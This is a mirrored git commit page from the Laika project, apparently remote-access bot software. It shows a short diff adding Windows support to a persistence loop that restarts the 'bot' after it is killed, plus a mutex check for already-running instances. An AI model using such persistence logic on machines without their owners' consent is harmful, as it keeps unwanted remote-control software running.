1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-11 18:30:08 +00:00

Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()

- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings
This commit is contained in:
2022-04-16 23:54:07 -05:00
parent 231881c960
commit 34dd36fb67
4 changed files with 21 additions and 5 deletions

View File

@@ -32,7 +32,11 @@ int main(int argv, char *argc[]) {
/* bot was killed or it threw an error */
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
#ifdef _WIN32
Sleep(5000);
#else
sleep(5);
#endif
} while (1);
laikaB_unmarkRunning();